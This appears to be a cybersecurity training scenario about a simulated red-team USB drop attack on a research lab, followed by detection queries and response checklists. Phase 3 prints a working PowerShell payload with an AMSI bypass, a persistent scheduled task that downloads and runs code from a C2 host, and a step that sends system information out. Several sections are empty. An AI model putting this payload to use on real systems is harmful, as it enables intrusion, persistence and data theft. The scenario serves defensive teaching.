SC-036: USB Drop Attack — Operation Iron Drop¶

Threat Actor Profile¶

IRON DROP represents a sophisticated red team engagement simulating a real-world adversary targeting intellectual property at a high-value research facility. The red team operates under rules of engagement that permit physical social engineering, USB-based payload delivery, and network-based post-exploitation. The simulated threat profile is a nation-state competitor seeking proprietary research data on quantum computing and advanced materials.

The red team's USB attack methodology uses commercially available Rubber Ducky devices (USB HID attack tools) disguised as standard USB flash drives, combined with custom PowerShell payloads. The devices are physically branded with the target organization's logo and labeled with enticing filenames to maximize insertion rates. Industry research indicates that 45–60% of USB drives found in parking lots are inserted into corporate systems, and this rate increases to 80%+ when the drives bear organizational branding.

Motivation: Espionage simulation — exfiltration of quantum computing research data, patent applications, and proprietary algorithms. The red team engagement was authorized by Quantum Research Labs' CISO to test physical security controls, endpoint protection, device control policies, and security awareness training effectiveness.

Scenario Narrative¶

Phase 1 — Physical Reconnaissance (~30 min)¶

IRON DROP conducts physical reconnaissance of Quantum Research Labs' campus over 5 days. The red team members pose as visitors, delivery personnel, and nearby business employees to observe physical security patterns, employee behavior, and campus layout.

Key observations:

• Parking structure: 3 levels, badge-controlled vehicle entry, no guard at vehicle gate — pedestrian access unrestricted from adjacent public sidewalk
• Employee behavior: Researchers frequently carry USB drives between labs — USB usage is culturally normalized
• Smoking area: Outdoor area between Buildings A and B — no CCTV — employees leave badges visible on lanyards
• Loading dock: Building C — delivery personnel not escorted — accessible from parking level 1
• Badge design: Photographed from distance — blue badge with Quantum Research Labs logo, employee photo, first name

The red team also obtains Quantum Research Labs branded USB drives by ordering promotional items from the company's marketing vendor (publicly listed on the company's trade show registration page).

Evidence Artifacts:

Phase 2 — USB Preparation and Deployment (~40 min)¶

IRON DROP prepares 15 weaponized USB devices using Hak5 Rubber Ducky hardware inserted into the branded Quantum Research Labs USB drive casings. Each device is programmed with a DuckyScript payload that:

1. Identifies itself as a USB HID device (keyboard) — bypasses mass storage restrictions
2. Opens a hidden PowerShell window (minimized, execution policy bypass)
3. Downloads a stage-2 payload from 203.0.113.55 via HTTPS
4. Establishes a reverse shell to the C2 server at 203.0.113.55:443
5. Creates persistence via a scheduled task named WindowsHealthCheck
6. Self-destructs the initial payload script

Each USB drive is labeled with enticing content to encourage insertion:

The USB drives are deployed at 05:42 UTC on March 12, 2026 — before employees arrive. The red team member accesses the parking structure via the unrestricted pedestrian entrance, places drives near vehicle doors and walkways, and exits within 4 minutes.

Evidence Artifacts:

Phase 3 — Payload Execution and Initial Compromise (~40 min)¶

By 10:30 UTC on March 12, three employees have found and inserted USB drives into their workstations. The Rubber Ducky payload executes in approximately 3 seconds — faster than most users can react to the rapidly appearing and disappearing PowerShell window.

Compromised Hosts:

Evidence Artifacts:

# Quantum Research Labs Red Team — IRON DROP
# Stage 2: Reverse shell + persistence + recon
$c2 = "203.0.113.55"
$port = 443

# AMSI bypass (obfuscated)
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)

# Persistence via scheduled task
schtasks /create /tn "\Microsoft\Windows\Maintenance\WindowsHealthCheck" `
    /tr "powershell -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('https://$c2/update.ps1')`"" `
    /sc daily /st 08:00 /ru SYSTEM /f

# System enumeration
$info = @{
    hostname = $env:COMPUTERNAME
    user     = $env:USERNAME
    domain   = $env:USERDNSDOMAIN
    ip       = (Get-NetIPAddress -AddressFamily IPv4).IPAddress
    admin    = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}

# Exfil system info to C2
Invoke-RestMethod -Uri "https://$c2/api/checkin" -Method POST -Body ($info | ConvertTo-Json)

# Cleanup
Remove-Item $MyInvocation.MyCommand.Path -Force

Phase 4 — Post-Exploitation and Data Exfiltration (~40 min)¶

From the undetected host WKST-ADM-023 (executive assistant bwilliams), IRON DROP escalates access. The executive assistant's account has calendar access for 3 C-suite executives and read access to the \\FILE-RD\QuantumProjects shared drive containing research documentation.

The red team conducts internal reconnaissance, identifies high-value research data, and exfiltrates a curated dataset of 847 MB — quantum computing research papers, patent application drafts, and algorithm source code — via HTTPS to the C2 server during business hours.

Evidence Artifacts:

DeviceEvents
| where ActionType == "PnpDeviceConnected"
| where DeviceDescription contains "HID" or DeviceDescription contains "Keyboard"
| where AdditionalFields contains "VID_05AC" or AdditionalFields contains "Rubber"
| extend VendorId = extract("VID_(\\w+)", 1, AdditionalFields)
| extend ProductId = extract("PID_(\\w+)", 1, AdditionalFields)
| join kind=leftanti (
    DeviceInventory
    | where DeviceType == "HID"
    | distinct VendorId, ProductId
) on VendorId, ProductId
| project Timestamp, DeviceName, AccountName, VendorId, ProductId

DeviceProcessEvents
| where InitiatingProcessFileName in~ ("powershell.exe", "cmd.exe", "wscript.exe")
| where InitiatingProcessParentFileName == "explorer.exe"
| where Timestamp between (
    DeviceEvents
    | where ActionType == "PnpDeviceConnected"
    | where DeviceDescription contains "HID"
    | project ConnectionTime = Timestamp, DeviceName
) .. (
    DeviceEvents
    | where ActionType == "PnpDeviceConnected"
    | project ConnectionTime = Timestamp + 10s, DeviceName
)
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName

index=wineventlog EventCode=6416 DeviceDescription="*HID*" OR DeviceDescription="*Keyboard*"
| eval VendorId=mvindex(split(DeviceId,"\\"),1)
| search NOT [| inputlookup approved_hid_devices.csv | fields VendorId]
| table _time, host, user, DeviceDescription, VendorId, DeviceId
| sort - _time

index=wineventlog EventCode=4688 NewProcessName="*powershell.exe*"
    (CommandLine="*DownloadString*" OR CommandLine="*IEX*" OR CommandLine="*Net.WebClient*")
| join host [
    search index=wineventlog EventCode=6416 DeviceDescription="*HID*"
    | eval usb_time=_time
    | table host, usb_time
]
| where _time - usb_time < 30
| table _time, host, user, CommandLine, usb_time

index=network sourcetype=firewall dest_port=443 action=allowed
| stats sum(bytes_out) as total_bytes dc(session_id) as sessions by src_ip, dest_ip
| where total_bytes > 500000000
| eval total_MB=round(total_bytes/1048576,2)
| table src_ip, dest_ip, total_MB, sessions
| sort - total_MB

Detection & Response¶

Key Detection Opportunities¶

Immediate Containment (0–4 hours)¶

• [ ] Isolate all three compromised hosts from the network
• [ ] Block C2 IP 203.0.113.55 and domain health-update.example.com at firewall and DNS
• [ ] Remove scheduled task WindowsHealthCheck from all affected hosts
• [ ] Conduct campus-wide physical sweep to collect remaining USB drives (12 unaccounted)
• [ ] Hunt for Event ID 6416 (USB HID connection) across all 620 endpoints in past 48 hours
• [ ] Reset credentials for mchen, asingh, and bwilliams

Short-Term Actions (24–72 hours)¶

• [ ] Forensic imaging of all three compromised workstations
• [ ] Enterprise-wide hunt for WindowsHealthCheck scheduled task and update.ps1 artifacts
• [ ] Review all file access logs for bwilliams account on research shares
• [ ] Deploy USB device whitelisting — block unknown HID vendor/product IDs via Intune
• [ ] Enable PowerShell Constrained Language Mode on all workstations
• [ ] Implement AMSI bypass detection rules in EDR
• [ ] Brief physical security on USB drop threat — increase parking area patrols

Long-Term Actions (1–12 weeks)¶

• [ ] Implement USB device whitelisting by Vendor ID/Product ID — only approved peripherals
• [ ] Deploy USB port lockdown for lab workstations handling sensitive research data
• [ ] Implement keystroke injection detection — alert on >500 WPM from newly connected HID devices
• [ ] Conduct USB security awareness training — include USB drop simulation results
• [ ] Restrict pedestrian access to parking structure — install badge-controlled turnstiles
• [ ] Implement UEBA for file access anomaly detection (first-access, volume, time-of-day)
• [ ] Deploy DLP with research data classification — block exfiltration of classified content
• [ ] Review and restrict executive assistant access to research file shares (least privilege)
• [ ] Implement "found USB" reporting procedure — provide secure drop boxes in lobbies

Lessons Learned¶

What Went Wrong¶

What Went Right¶

ATT&CK Navigator Mapping¶

Related Chapters¶

• Chapter 25 — Social Engineering — Social engineering techniques, USB baiting, human vulnerability exploitation
• Chapter 34 — Mobile & IoT Security — USB security, physical device threats, HID attack prevention
• Chapter 47 — Physical & Social Engineering — USB drop attacks, physical penetration testing, social engineering techniques

Discussion Questions¶